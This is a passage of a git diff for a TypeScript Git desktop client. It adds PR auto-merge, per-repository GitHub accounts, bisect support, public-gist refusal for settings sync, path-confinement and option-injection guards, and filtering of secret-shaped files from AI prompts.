`${ref.host}/${ref.owner}/${ref.name}`; } +/** argv for `gh pr merge`: merge now, enable auto-merge (`--auto`, which on merge-queue branches queues the PR once checks pass), or turn auto-merge off. */ +export function prMergeArgs(selector: string, number: number, mode: { method: 'merge' | 'squash' | 'rebase'; deleteBranch: boolean; auto: boolean } | 'disable-auto'): string[] { + const args = ['pr', 'merge', String(number), '--repo', selector]; + if (mode === 'disable-auto') return [...args, '--disable-auto']; + args.push(`--${mode.method}`); + if (mode.auto) args.push('--auto'); + if (mode.deleteBranch) args.push('--delete-branch'); + return args; +} + // --------------------------------------------------------------------------- // Settings sync (gists) // --------------------------------------------------------------------------- @@ -223,11 +236,13 @@ interface RawGist { id: string; description?: string | null; updated_at?: string; + public?: boolean; + files?: Record; } -/** Finds the gist matching `description` in a `gh api gists --paginate` listing. Pure so it can be unit tested without spawning `gh`. */ -export function findGistByDescription(gists: RawGist[], description: string): { id: string; updatedAt: string } | null { - const match = gists.find((g) => g.description === description); +/** Finds the secret gist matching `description` that holds `filename` in a `gh api gists --paginate` listing. Public gists and look-alikes (same description, other files) are never adopted: they would receive uploads. Pure so it can be unit tested without spawning `gh`. */ +export function findGistByDescription(gists: RawGist[], description: string, filename: string): { id: string; updatedAt: string } | null { + const match = gists.find((g) => g.description === description && g.public === false && !!g.files && filename in g.files); return match ? { id: match.id, updatedAt: match.updated_at ?? '' } : null; } @@ -286,9 +301,12 @@ export class GhClient { constructor(private readonly tools: ToolLocator) {} async run(args: string[], opts: GhRunOptions = {}): Promise { - await this.tools.ensureLocated(); + await this.tools.ensure('gh'); const gh = this.tools.ghPath(); const env = await this.tools.ghEnv(); + // A repository with a chosen GitHub account (cwd, or the handler's repoScope) runs gh as that account. + const account = await this.tools.repoAccount(opts.cwd); + if (account) Object.assign(env, ghAccountEnv(account.host, account.token)); try { return await exec(gh, args, { cwd: opts.cwd, env, stdin: opts.stdin, signal: opts.signal, onStderr: opts.onStderr, onStdout: opts.onStdout, timeoutMs: opts.timeoutMs ?? 120000, okExitCodes: opts.okExitCodes }); } catch (err) { @@ -383,8 +401,14 @@ export class GhClient { this.loginProcess = null; } - async logout(host: string): Promise { - await this.run(['auth', 'logout', '--hostname', host], { okExitCodes: [1] }); + /** Signs out one account (`login`), or the host's active account when omitted. */ + async logout(host: string, login?: string): Promise { + await this.run(['auth', 'logout', '--hostname', host, ...(login ? ['--user', login] : [])], { okExitCodes: [1] }); + } + + /** Makes `login` the account gh uses by default on `host` (repositories with a chosen account are unaffected). */ + async switchAccount(host: string, login: string): Promise { + await this.run(['auth', 'switch', '--hostname', host, '--user', login], { timeoutMs: 30000 }); } async setupGit(): Promise { @@ -392,7 +416,7 @@ export class GhClient { } async account(): Promise { - return (await this.tools.refresh()).ghAccount; + return (await this.tools.refreshAuth()).ghAccount; } // ---------- repositories ---------- @@ -528,10 +552,12 @@ export class GhClient { return { url: /https?:\/\/\S+\/pull\/\d+/.exec(res.stdout + res.stderr)?.[0] ?? null }; } - async prMerge(ref: GitHubRepoRef, number: number, method: 'merge' | 'squash' | 'rebase', deleteBranch: boolean): Promise { - const args = ['pr', 'merge', String(number), '--repo', repoSelector(ref), `--${method}`]; - if (deleteBranch) args.push('--delete-branch'); - await this.run(args, { timeoutMs: 120000 }); + async prMerge(ref: GitHubRepoRef, number: number, method: 'merge' | 'squash' | 'rebase', deleteBranch: boolean, auto = false): Promise { + await this.run(prMergeArgs(repoSelector(ref), number, { method, deleteBranch, auto }), { timeoutMs: 120000 }); + } + + async prDisableAutoMerge(ref: GitHubRepoRef, number: number): Promise { + await this.run(prMergeArgs(repoSelector(ref), number, 'disable-auto'), { timeoutMs: 120000 }); } async prReady(ref: GitHubRepoRef, number: number, ready: boolean): Promise { @@ -767,9 +793,9 @@ export class GhClient { // ---------- settings sync (gists) ---------- /** Finds an existing gist by its description (`gh gist list` output is not JSON in all versions, so the search goes through the API instead). */ - async gistFind(description: string): Promise<{ id: string; updatedAt: string } | null> { + async gistFind(description: string, filename: string): Promise<{ id: string; updatedAt: string } | null> { const raw = await this.json(['api', 'gists', '--paginate'], { timeoutMs: 60000 }); - return findGistByDescription(raw ?? [], description); + return findGistByDescription(raw ?? [], description, filename); } /** Creates a new secret gist from `content` (sent over stdin to avoid command-line length limits) and returns its id. */ @@ -797,11 +823,11 @@ export class GhClient { await this.run(['gist', 'edit', id, '--filename', filename, '-'], { stdin: content, timeoutMs: 60000 }); } - /** The gist's `updated_at`, or null when it no longer exists (used to detect a deleted gist without treating it as an error). */ - async gistMetadata(id: string): Promise<{ updatedAt: string } | null> { + /** The gist's `updated_at` and visibility, or null when it no longer exists (used to detect a deleted gist without treating it as an error). */ + async gistMetadata(id: string): Promise<{ updatedAt: string; public: boolean } | null> { try { - const raw = await this.json<{ updated_at?: string }>(['api', `gists/${id}`], { timeoutMs: 30000 }); - return raw ? { updatedAt: raw.updated_at ?? '' } : null; + const raw = await this.json<{ updated_at?: string; public?: boolean }>(['api', `gists/${id}`], { timeoutMs: 30000 }); + return raw ? { updatedAt: raw.updated_at ?? '', public: raw.public !== false } : null; } catch (err) { if (err instanceof GitError && isGistNotFound(err.info)) return null; throw err; diff --git a/src/main/gh/issue-templates.ts b/src/main/gh/issue-templates.ts index bd146e2..9562164 100644 --- a/src/main/gh/issue-templates.ts +++ b/src/main/gh/issue-templates.ts @@ -8,9 +8,10 @@ * exist on disk is impure and lives in `discoverIssueTemplates`, which is the * only part of this module that touches the filesystem. */ -import { readdir, readFile } from 'node:fs/promises'; +import { readdir } from 'node:fs/promises'; import { join } from 'node:path'; import type { IssueTemplate } from '@shared/types'; +import { readRepoFile } from '../repo/paths'; /** Parses one issue template file's front matter and body. Pure. */ export function parseIssueTemplate(content: string, filename: string): IssueTemplate { @@ -69,21 +70,13 @@ export async function discoverIssueTemplates(repoPath: string): Promise e.isFile() && /\.(md|markdown|ya?ml)$/i.test(e.name) && !/^config\.ya?ml$/i.test(e.name)).map((e) => e.name); const templates: IssueTemplate[] = []; for (const file of files) { - try { - const content = await readFile(join(dir, file), 'utf8'); - templates.push(parseIssueTemplate(content, file)); - } catch { - /* skip unreadable file */ - } + const content = (await readRepoFile(repoPath, `.github/ISSUE_TEMPLATE/${file}`))?.toString('utf8'); + if (content !== undefined) templates.push(parseIssueTemplate(content, file)); } return templates; } catch { // No directory; fall back to the legacy single-file template. - try { - const content = await readFile(join(repoPath, '.github', 'ISSUE_TEMPLATE.md'), 'utf8'); - return [parseIssueTemplate(content, 'ISSUE_TEMPLATE.md')]; - } catch { - return []; - } + const content = (await readRepoFile(repoPath, '.github/ISSUE_TEMPLATE.md'))?.toString('utf8'); + return content === undefined ? [] : [parseIssueTemplate(content, 'ISSUE_TEMPLATE.md')]; } } diff --git a/src/main/gh/pr-template.ts b/src/main/gh/pr-template.ts index 97c105a..74d6145 100644 --- a/src/main/gh/pr-template.ts +++ b/src/main/gh/pr-template.ts @@ -4,21 +4,19 @@ * handler (used to pre-fill the Create pull request dialog) and the AI PR * draft service (src/main/ai/prDraft.ts) read the same file. */ -import { existsSync } from 'node:fs'; -import { readdir, readFile } from 'node:fs/promises'; +import { readdir } from 'node:fs/promises'; import { join } from 'node:path'; +import { readRepoFile } from '../repo/paths'; const CANDIDATES = ['.github/pull_request_template.md', '.github/PULL_REQUEST_TEMPLATE.md', 'pull_request_template.md', 'PULL_REQUEST_TEMPLATE.md', 'docs/pull_request_template.md', 'docs/PULL_REQUEST_TEMPLATE.md']; +/** Template text from the first candidate that is a regular file inside the repo (symlinks are skipped, see readRepoFile). */ export async function findPullRequestTemplate(repoPath: string): Promise { for (const c of CANDIDATES) { - const p = join(repoPath, ...c.split('/')); - if (existsSync(p)) return readFile(p, 'utf8'); - } - const dir = join(repoPath, '.github', 'PULL_REQUEST_TEMPLATE'); - if (existsSync(dir)) { - const files = (await readdir(dir)).filter((f) => /\.md$/i.test(f)); - if (files.length) return readFile(join(dir, files[0]), 'utf8'); + const buf = await readRepoFile(repoPath, c); + if (buf) return buf.toString('utf8'); } + const files = (await readdir(join(repoPath, '.github', 'PULL_REQUEST_TEMPLATE')).catch(() => [] as string[])).filter((f) => /\.md$/i.test(f)); + if (files.length) return (await readRepoFile(repoPath, `.github/PULL_REQUEST_TEMPLATE/${files[0]}`))?.toString('utf8') ?? null; return null; } diff --git a/src/main/gh/prdiff.ts b/src/main/gh/prdiff.ts index 561e693..ce5aabb 100644 --- a/src/main/gh/prdiff.ts +++ b/src/main/gh/prdiff.ts @@ -1,15 +1,5 @@ import type { CommitFile, FileStatusKind } from '@shared/types'; -import { parseUnifiedDiff, unquote, type ParsedDiff } from '@shared/diff/parse'; - -/** Paths from a `diff --git a/x b/y` line; the only place binary diffs name their files. */ -export function pathsFromDiffHeader(line: string): { oldPath: string; newPath: string } | null { - const m = /^diff --git (?:"(a\/(?:[^"\\]|\\.)*)"|(a\/\S.*?)) (?:"(b\/(?:[^"\\]|\\.)*)"|(b\/.*))$/.exec(line); - if (!m) return null; - const a = m[1] ? unquote(`"${m[1]}"`) : m[2]; - const b = m[3] ? unquote(`"${m[3]}"`) : m[4]; - if (!a || !b) return null; - return { oldPath: a.slice(2), newPath: b.slice(2) }; -} +import { parseUnifiedDiff, pathsFromDiffHeader, type ParsedDiff } from '@shared/diff/parse'; export interface SplitPrDiff { files: CommitFile[]; diff --git a/src/main/gh/settings-sync.ts b/src/main/gh/settings-sync.ts index ae28aa4..af8d58d 100644 --- a/src/main/gh/settings-sync.ts +++ b/src/main/gh/settings-sync.ts @@ -44,7 +44,7 @@ export class SettingsSyncService { /** Reuses an existing "GitGood settings" gist (e.g. enabled from another machine) or creates a new one. Also used to recover from a deleted gist. */ async enable(): Promise<{ gistId: string }> { - const existing = await this.gh.gistFind(GIST_DESCRIPTION); + const existing = await this.gh.gistFind(GIST_DESCRIPTION, GIST_FILENAME); if (existing) { this.store.setSettingsSync({ gistId: existing.id, lastSyncedAt: null, lastHash: null }); return { gistId: existing.id }; @@ -70,6 +70,10 @@ export class SettingsSyncService { async upload(): Promise { const sync = this.store.getSettingsSync(); if (!sync.gistId) throw new Error('Sync is not enabled.'); + const meta = await this.gh.gistMetadata(sync.gistId); + if (!meta) throw new Error('The settings gist no longer exists. Create a new one to sync again.'); + // Checked on every upload: a stored id may predate this check or point at a gist someone made public. + if (meta.public) throw new Error('The sync gist is public, so GitGood will not upload settings to it. Disconnect sync and enable it again to create a secret gist.'); const text = await this.currentExportText(); await this.gh.gistEdit(sync.gistId, GIST_FILENAME, text); this.store.setSettingsSync({ ...sync, lastSyncedAt: new Date().toISOString(), lastHash: stableHash(text) }); diff --git a/src/main/git/bisect.ts b/src/main/git/bisect.ts new file mode 100644 index 0000000..8149504 --- /dev/null +++ b/src/main/git/bisect.ts @@ -0,0 +1,84 @@ +import { readFile, stat } from 'node:fs/promises'; +import { join } from 'node:path'; +import { assertNotOption } from '@shared/util'; +import type { BisectState } from '@shared/types'; +import { GitError, type GitClient } from './git'; +import { getGitDir } from './status'; + +async function isBisecting(git: GitClient, repoPath: string): Promise { + return stat(join(await getGitDir(git, repoPath), 'BISECT_LOG')).then(() => true, () => false); +} + +async function describe(git: GitClient, repoPath: string, rev: string): Promise<{ sha: string; summary: string } | null> { + const out = await git.tryRun(repoPath, ['log', '-1', '--format=%H%x1f%s', rev], { readOnly: true }); + if (!out) return null; + const [sha, summary = ''] = out.stdout.trim().split('\x1f'); + return { sha, summary }; +} + +/** While bisecting, HEAD sits at a midpoint; History shows the branch the bisect started from instead so both ends stay visible. Null when not bisecting. */ +export async function bisectHistoryRef(git: GitClient, repoPath: string): Promise { + const start = await readFile(join(await getGitDir(git, repoPath), 'BISECT_START'), 'utf8').catch(() => ''); + return start.trim() || null; +} + +/** + * Null when no bisect is running. The counts come from `rev-list --bisect-vars` (what git prints as "N revisions left + * (roughly M steps)"); ponytail: it ignores `git bisect skip`, so after skips the estimate can be a little high. + */ +export async function getBisectState(git: GitClient, repoPath: string): Promise { + if (!(await isBisecting(git, repoPath))) return null; + const refs = (await git.tryRun(repoPath, ['for-each-ref', '--format=%(refname) %(objectname)', 'refs/bisect'], { readOnly: true }))?.stdout ?? ''; + let bad: string | null = null; + const good: string[] = []; + for (const line of refs.split('\n')) { + const [ref, sha] = line.split(' '); + if (ref === 'refs/bisect/bad') bad = sha; + else if (ref?.startsWith('refs/bisect/good-')) good.push(sha); + } + const state: BisectState = { bad, good, head: await describe(git, repoPath, 'HEAD'), remaining: null, steps: null, firstBad: null }; + if (bad && good.length) { + const vars = await git.tryRun(repoPath, ['rev-list', '--bisect-vars', bad, '--not', ...good], { readOnly: true }); + const num = (name: string) => { + const m = new RegExp(`^${name}=(\\d+)$`, 'm').exec(vars?.stdout ?? ''); + return m ? parseInt(m[1], 10) : null; + }; + state.remaining = num('bisect_nr'); + state.steps = num('bisect_steps'); + if (num('bisect_all') === 1) state.firstBad = await describe(git, repoPath, bad); + } + return state; +} + +const refused = (message: string) => new GitError({ message, command: '', exitCode: null, stderr: '', stdout: '', code: 'unknown' }); + +/** Starts a bisect between a known bad and a known good commit; git checks out the midpoint. A failed start (e.g. local changes block the checkout) is rolled back. */ +export async function bisectStart(git: GitClient, repoPath: string, bad: string, good: string): Promise { + assertNotOption(bad, good); + if (await isBisecting(git, repoPath)) throw refused('A bisect is already in progress. Reset it before starting another.'); + // `git bisect start` silently treats an unresolvable argument as a pathspec, so resolve both ends first. + const [badSha, goodSha] = await Promise.all( + [bad, good].map(async (rev) => { + const out = await git.tryRun(repoPath, ['rev-parse', '--verify', '--quiet', `${rev}^{commit}`], { readOnly: true }); + if (!out) throw refused(`"${rev}" is not a commit in this repository.`); + return out.stdout.trim(); + }), + ); + try { + await git.run(repoPath, ['bisect', 'start', badSha, goodSha, '--']); + } catch (err) { + await git.tryRun(repoPath, ['bisect', 'reset']); + throw err; + } +} + +/** Marks `sha` (default: the commit currently checked out) as good, bad or skipped. */ +export async function bisectMark(git: GitClient, repoPath: string, verb: 'good' | 'bad' | 'skip', sha: string | null): Promise { + if (sha) assertNotOption(sha); + await git.run(repoPath, ['bisect', verb, ...(sha ? [sha] : [])]); +} + +/** Ends the bisect and returns to the branch it started from. */ +export async function bisectReset(git: GitClient, repoPath: string): Promise { + await git.run(repoPath, ['bisect', 'reset']); +} diff --git a/src/main/git/branches.ts b/src/main/git/branches.ts index 7a2b874..97b9541 100644 --- a/src/main/git/branches.ts +++ b/src/main/git/branches.ts @@ -1,3 +1,4 @@ +import { assertNewBranchName, assertNotOption } from '@shared/util'; import type { Branch } from '@shared/types'; import type { GitClient } from './git'; @@ -47,6 +48,7 @@ export async function getBranches(git: GitClient, repoPath: string): Promise> { + assertNotOption(ref); const out = await git.tryRun(repoPath, ['branch', '--merged', ref, '--format=%(refname:short)'], { readOnly: true, quiet: true }); if (!out) return new Set(); return new Set(out.stdout.split('\n').map((l) => l.trim()).filter(Boolean)); @@ -66,6 +68,8 @@ export async function getDefaultBranch(git: GitClient, repoPath: string): Promis } export async function createBranch(git: GitClient, repoPath: string, name: string, startPoint: string | null, checkout: boolean): Promise { + assertNewBranchName(name); + assertNotOption(startPoint); if (checkout) { await git.run(repoPath, ['checkout', '-b', name, ...(startPoint ? [startPoint] : [])]); } else { @@ -74,6 +78,7 @@ export async function createBranch(git: GitClient, repoPath: string, name: strin } export async function checkoutBranch(git: GitClient, repoPath: string, name: string): Promise { + assertNotOption(name); await git.run(repoPath, ['checkout', name]); } @@ -81,6 +86,7 @@ export async function checkoutBranch(git: GitClient, repoPath: string, name: str export async function checkoutRemoteBranch(git: GitClient, repoPath: string, remoteBranch: string): Promise { const slash = remoteBranch.indexOf('/'); const local = slash === -1 ? remoteBranch : remoteBranch.slice(slash + 1); + assertNotOption(remoteBranch, local); const localExists = await git.tryRun(repoPath, ['show-ref', '--verify', '--quiet', `refs/heads/${local}`], { readOnly: true }); if (localExists) { await git.run(repoPath, ['checkout', local]); @@ -91,14 +97,18 @@ export async function checkoutRemoteBranch(git: GitClient, repoPath: string, rem } export async function renameBranch(git: GitClient, repoPath: string, oldName: string, newName: string): Promise { + assertNotOption(oldName); + assertNewBranchName(newName); await git.run(repoPath, ['branch', '-m', oldName, newName]); } export async function deleteLocalBranch(git: GitClient, repoPath: string, name: string): Promise { + assertNotOption(name); await git.run(repoPath, ['branch', '-D', name]); } export async function deleteRemoteBranch(git: GitClient, repoPath: string, remote: string, name: string): Promise { + assertNotOption(remote, name); await git.run(repoPath, ['push', remote, '--delete', name]); } @@ -115,3 +125,29 @@ export async function getUpstreamRemote(git: GitClient, repoPath: string, branch const out = await git.tryRun(repoPath, ['config', '--get', `branch.${branch}.remote`], { readOnly: true }); return out?.stdout.trim() || null; } + +/** + * The current branch's stack: the other local branches whose tips lie on its first-parent history + * between the merge-base with the default branch and HEAD, oldest (closest to the default branch) + * first. Empty on the default branch, a detached HEAD, or when there is no default branch or common + * ancestor. A branch sitting on HEAD itself is a sibling, not part of the stack. + */ +export async function getStackParents(git: GitClient, repoPath: string): Promise { + const [current, defaultBranch] = await Promise.all([getCurrentBranchName(git, repoPath), getDefaultBranch(git, repoPath)]); + if (!current || !defaultBranch || current === defaultBranch) return []; + const defaultRef = (await branchExists(git, repoPath, defaultBranch)) ? defaultBranch : `origin/${defaultBranch}`; + const base = await git.tryRun(repoPath, ['merge-base', defaultRef, 'HEAD'], { readOnly: true, quiet: true }); + if (!base?.stdout.trim()) return []; + const chain = (await git.stdout(repoPath, ['rev-list', '--first-parent', '--reverse', `${base.stdout.trim()}..HEAD`], { readOnly: true })).split('\n').filter(Boolean); + if (chain.length < 2) return []; + const position = new Map(chain.slice(0, -1).map((sha, i) => [sha, i])); + const refs = await git.stdout(repoPath, ['for-each-ref', '--format=%(objectname) %(refname)', 'refs/heads'], { readOnly: true }); + const found: { name: string; at: number }[] = []; + for (const line of refs.split('\n')) { + const space = line.indexOf(' '); + const at = position.get(line.slice(0, space)); + const name = line.slice(space + 1).replace(/^refs\/heads\//, ''); + if (at !== undefined && name !== current) found.push({ name, at }); + } + return found.sort((a, b) => a.at - b.at || (a.name < b.name ? -1 : 1)).map((f) => f.name); +} diff --git a/src/main/git/commit.ts b/src/main/git/commit.ts index 7efb7c3..490c1ac 100644 --- a/src/main/git/commit.ts +++ b/src/main/git/commit.ts @@ -1,3 +1,5 @@ +import { readFile, stat } from 'node:fs/promises'; +import { resolve } from 'node:path'; import type { CommitOptions } from '@shared/types'; import { GitError, type GitClient } from './git'; @@ -51,6 +53,35 @@ export function formatCommitMessage(summary: string, description: string, coAuth return `${message}\n`; } +/** Per-commit flags (signing, --signoff, --no-verify) shared by the message path and the merge `--no-edit` path. */ +export function commitFlags(opts: Pick): string[] { + const sign = opts.signOverride === 'sign' ? ['-S'] : opts.signOverride === 'unsigned' ? ['--no-gpg-sign'] : []; + return [...sign, ...(opts.signoff ? ['--signoff'] : []), ...(opts.noVerify ? ['--no-verify'] : [])]; +} + +const MAX_TEMPLATE_BYTES = 64 * 1024; + +/** + * The repository's `commit.template` as summary and description (comment lines dropped, as `--cleanup=strip` would), or null when none is + * configured, readable, or all comments. The path resolves like git does (`~` expanded by `--type=path`, relative paths against the working tree + * root). The file may live outside the repository, but a repository's own config can name it too, so only a small regular text file is read. + */ +export async function readCommitTemplate(git: GitClient, repoPath: string): Promise<{ summary: string; description: string } | null> { + const configured = (await git.tryRun(repoPath, ['config', '--type=path', '--get', 'commit.template'], { readOnly: true }))?.stdout.trim(); + if (!configured) return null; + try { + const file = resolve(repoPath, configured); + const info = await stat(file); + if (!info.isFile() || info.size > MAX_TEMPLATE_BYTES) return null; + const text = await readFile(file, 'utf8'); + if (text.includes('\0')) return null; + const [summary = '', ...rest] = text.replace(/\r\n/g, '\n').split('\n').filter((l) => !l.startsWith('#')).join('\n').trim().split('\n'); + return summary || rest.length ? { summary, description: rest.join('\n').trim() } : null; + } catch { + return null; + } +} + /** * Creates a commit from the selected files, mirroring GitHub Desktop: the index * is rebuilt from the selection so that the commit matches what the UI shows. @@ -64,11 +95,11 @@ export async function createCommit(git: GitClient, repoPath: string, opts: Commi await applyPatchToIndex(git, repoPath, patch); } const message = formatCommitMessage(opts.summary, opts.description, opts.coAuthors); - const signArgs = opts.signOverride === 'sign' ? ['-S'] : opts.signOverride === 'unsigned' ? ['--no-gpg-sign'] : []; - const args = ['commit', '-F', '-', '--cleanup=strip', ...signArgs]; + const flags = commitFlags(opts); + const args = ['commit', '-F', '-', '--cleanup=strip', ...flags]; if (opts.amend) args.push('--amend'); if (mergeInProgress && !opts.summary.trim()) { - await git.run(repoPath, ['commit', '--no-edit', ...signArgs]); + await git.run(repoPath, ['commit', '--no-edit', ...flags]); } else { if (!opts.summary.trim() && !opts.amend) throw new GitError({ message: 'A commit summary is required.', command: 'git commit', exitCode: null, stderr: '', stdout: '', code: 'unknown' }); await git.run(repoPath, args, { stdin: message }); diff --git a/src/main/git/diff.ts b/src/main/git/diff.ts index 0e890cc..0917be3 100644 --- a/src/main/git/diff.ts +++ b/src/main/git/diff.ts @@ -1,13 +1,15 @@ -import { readFile, stat } from 'node:fs/promises'; -import { join } from 'node:path'; +import { lstat, readlink } from 'node:fs/promises'; +import { isAbsolute, join } from 'node:path'; import type { DiffOptions } from '@shared/ipc'; import type { CommitFile, FileDiff, ImagePayload, WorkingFile } from '@shared/types'; import { parseConflicts } from '@shared/diff/conflicts'; import { countDiffLines, parseUnifiedDiff, synthesizeAddedDiff, type ParsedDiff } from '@shared/diff/parse'; import { buildStagePatch, selectAll } from '@shared/diff/patch'; +import { dropSecretFilePatches, secretFileReason } from '@shared/secrets'; import { imageMediaType, isImagePath, languageFromPath } from '@shared/util'; import { EMPTY_TREE_SHA, type GitClient } from './git'; import { isLfsPointerBuffer, readLfsObject } from './lfs'; +import { isInside, readRepoFile } from '../repo/paths'; import { mergeBase, parseNameStatusZ } from './log'; import { getGitDir } from './status'; @@ -19,8 +21,11 @@ const MAX_DIFF_LINES = 40_000; const MAX_CONTENT_BYTES = 1_500_000; const MAX_IMAGE_BYTES = 25 * 1024 * 1024; +/** Absolute filesystem path of a repo-relative git path. Throws for absolute paths and anything that resolves outside the repository (`../x`); callers that take the path from a client rely on this. */ export function toFsPath(repoPath: string, gitPath: string): string { - return join(repoPath, ...gitPath.split('/')); + const fsPath = join(repoPath, ...gitPath.split('/')); + if (gitPath.startsWith('/') || isAbsolute(gitPath) || !isInside(repoPath, fsPath)) throw new Error(`Path is outside the repository: ${gitPath}`); + return fsPath; } export function looksBinary(buf: Buffer): boolean { @@ -40,12 +45,12 @@ export async function readBlob(git: GitClient, repoPath: string, ref: string, pa return res ? res.stdoutBuffer : null; } +/** Working-tree content with git semantics: a symlink reads as its link text (what git stores), never the file it points at. */ export async function readWorktree(repoPath: string, path: string): Promise { try { const p = toFsPath(repoPath, path); - const s = await stat(p); - if (!s.isFile()) return null; - return await readFile(p); + if ((await lstat(p)).isSymbolicLink()) return Buffer.from(await readlink(p)); + return await readRepoFile(repoPath, path); } catch { return null; } @@ -220,6 +225,12 @@ export async function getRangeFileDiff(git: GitClient, repoPath: string, base: s return finishRefDiff(git, repoPath, result.stdout, file, mergeBase, head, opts); } +/** Files changed between the merge base of `base` and `head` (`base...head`), the file list for a pull-request-style comparison. */ +export async function getRangeFiles(git: GitClient, repoPath: string, base: string, head: string): Promise { + const out = await git.stdout(repoPath, ['diff', '--name-status', '-z', '-M', `${base}...${head}`], { readOnly: true, okExitCodes: [1] }); + return parseNameStatusZ(out).sort((a, b) => a.path.localeCompare(b.path, undefined, { sensitivity: 'base' })); +} + /** Text of a blob at a ref, or null when missing or binary. */ export async function readBlobText(git: GitClient, repoPath: string, ref: string, path: string): Promise { return textOrNull(await readBlob(git, repoPath, ref, path)); @@ -262,15 +273,17 @@ export async function getStashFileDiff(git: GitClient, repoPath: string, stashRe * ref that does not resolve), so callers still get a best-effort diff rather * than an outright failure. */ -export async function getRangePatch(git: GitClient, repoPath: string, base: string, head: string, maxBytes: number): Promise<{ stat: string; patch: string; truncated: boolean }> { +export async function getRangePatch(git: GitClient, repoPath: string, base: string, head: string, maxBytes: number): Promise<{ stat: string; patch: string; truncated: boolean; skipped: string[] }> { const mb = (await mergeBase(git, repoPath, base, head)) ?? base; const [statRes, diffRes] = await Promise.all([ git.tryRun(repoPath, ['diff', '--no-color', '--no-ext-diff', '-M', '--stat=120', `${mb}...${head}`], { readOnly: true, okExitCodes: [1] }), git.run(repoPath, ['diff', '--no-color', '--no-ext-diff', '-M', `${mb}...${head}`], { readOnly: true, okExitCodes: [1], maxBuffer: 256 * 1024 * 1024 }), ]); - const patch = diffRes.stdout; + // Secret-shaped files (.env, keys, …) never reach the AI prompt; `skipped` says which were left out. + const { patch, skipped } = dropSecretFilePatches(diffRes.stdout); + const stat = (statRes?.stdout ?? '').split('\n').filter((l) => !secretFileReason(l.split(' | ')[0].trim())).join('\n'); const truncated = patch.length > maxBytes; - return { stat: statRes?.stdout ?? '', patch: truncated ? patch.slice(0, maxBytes) : patch, truncated }; + return { stat, patch: truncated ? patch.slice(0, maxBytes) : patch, truncated, skipped }; } /** diff --git a/src/main/git/external-tools.ts b/src/main/git/external-tools.ts new file mode 100644 index 0000000..297042c --- /dev/null +++ b/src/main/git/external-tools.ts @@ -0,0 +1,37 @@ +import type { GitClient } from './git'; + +export type ExternalToolSource = { kind: 'working' } | { kind: 'commit'; sha: string }; + +/** How long a tool launch has to fail (unknown tool, missing binary) before we report success and let it run on in the background. */ +const EARLY_FAILURE_MS = 1500; + +/** argv for `git difftool` on one file: the working tree against HEAD, or a commit against its first parent. */ +export function difftoolArgs(path: string, source: ExternalToolSource): string[] { + if (source.kind === 'commit' && !/^[0-9a-f]{4,64}$/i.test(source.sha)) throw new Error('Invalid commit id.'); + return ['difftool', '--no-prompt', ...(source.kind === 'commit' ? [`${source.sha}^!`] : ['HEAD']), '--', path]; +} + +/** + * Starts `git difftool`/`git mergetool` without waiting for the tool to exit. + * A failure within the first moments (no tool configured or installed) is thrown + * to the caller; a later exit, successful or not, calls `onExit` (the merge tool + * has rewritten files by then, so callers refresh status there). + */ +export async function launchGitTool(git: GitClient, repoPath: string, kind: 'diff' | 'merge', args: string[], onExit: () => void): Promise { + const configured = (await git.tryRun(repoPath, ['config', '--get', `${kind}.tool`], { readOnly: true }))?.stdout.trim(); + if (!configured) { + const example = kind === 'diff' ? 'git config --global diff.tool meld' : 'git config --global merge.tool meld'; + throw new Error(`No ${kind} tool is configured. Set one in a terminal, e.g. "${example}" (replace meld with kdiff3, vscode, bc, ...); "git ${kind}tool --tool-help" lists the tools git knows.`); + } + const done = git.run(repoPath, args, { quiet: true }).then( + () => null, + (err: unknown) => (err instanceof Error ? err : new Error(String(err))), + ); + const early = await Promise.race([done.then((err) => ({ err })), new Promise((resolve) => setTimeout(() => resolve(null), EARLY_FAILURE_MS))]); + if (early) { + onExit(); + if (early.err) throw early.err; + return; + } + void done.then(onExit); +} diff --git a/src/main/git/git.ts b/src/main/git/git.ts index 150f667..69e2e3f 100644 --- a/src/main/git/git.ts +++ b/src/main/git/git.ts @@ -1,5 +1,6 @@ import type { GitErrorInfo } from '@shared/types'; import { ExecError, exec, type ExecOptions, type ExecResult } from '../exec'; +import { gitAccountEnv, isNetworkGitCommand } from '../gh/accounts'; import { log } from '../logger'; import type { ToolLocator } from '../tools'; @@ -81,7 +82,7 @@ export class GitClient { constructor(private readonly tools: ToolLocator) {} async executable(): Promise { - await this.tools.ensureLocated(); + await this.tools.ensure('git'); return this.tools.gitPath(); } async baseEnv(extra?: NodeJS.ProcessEnv): Promise { @@ -106,6 +107,9 @@ export class GitClient { const gitPath = await this.executable(); const env = await this.baseEnv(opts.env); if (opts.readOnly) env.GIT_OPTIONAL_LOCKS = '0'; + // Network operations in a repository with a chosen GitHub account authenticate as that account. + const account = isNetworkGitCommand(args) ? await this.tools.repoAccount(repoPath) : null; + if (account) Object.assign(env, gitAccountEnv(account.host, account.token, env)); const fullArgs = ['-c', 'core.quotePath=false', '-c', 'color.ui=never', '-c', 'advice.detachedHead=false']; if (process.platform === 'win32') fullArgs.push('-c', 'core.longpaths=true'); fullArgs.push('--no-pager', ...args); diff --git a/src/main/git/health.ts b/src/main/git/health.ts index d4aaf33..d17a473 100644 --- a/src/main/git/health.ts +++ b/src/main/git/health.ts @@ -78,7 +78,7 @@ export function selectTopBlobs(blobs: RawBlob[], limit: number): RawBlob[] { export function scanLargestBlobs(git: GitClient, tools: ToolLocator, repoPath: string, limit: number, signal?: AbortSignal): Promise { return new Promise((resolve, reject) => { void (async () => { - await tools.ensureLocated(); + await tools.ensure('git'); let gitPath: string; try { gitPath = tools.gitPath(); diff --git a/src/main/git/log.ts b/src/main/git/log.ts index 0334f30..71d0367 100644 --- a/src/main/git/log.ts +++ b/src/main/git/log.ts @@ -1,5 +1,6 @@ import type { Commit, CommitFile, CommitSignature, FileStatusKind, HistoryPage, HistoryQuery, ReleaseCommit, SignatureStatus } from '@shared/types'; import { friendlyRegexError, isEmptyHistoryQuery, parseCoAuthors } from '@shared/util'; +import { secretFileReason } from '@shared/secrets'; import type { HistoryOptions } from '@shared/ipc'; import { extractSquashPrNumber, MAX_RANGE_COMMITS } from '../ai/release-notes-core'; import { EMPTY_TREE_SHA, GitError, type GitClient } from './git'; @@ -108,7 +109,7 @@ export async function getHistory(git: GitClient, repoPath: string, opts: History const follow = !!opts.follow && !!opts.path; const withSignature = !!opts.verifySignatures; const format = withSignature ? FORMAT_WITH_SIGNATURE : FORMAT; - const base = ['log', `--format=${format}`, `--max-count=${limit + 1}`, `--skip=${opts.skip}`, ...(follow ? ['--follow', '-M'] : [])]; + const base = ['log', `--format=${format}`, `--max-count=${limit + 1}`, 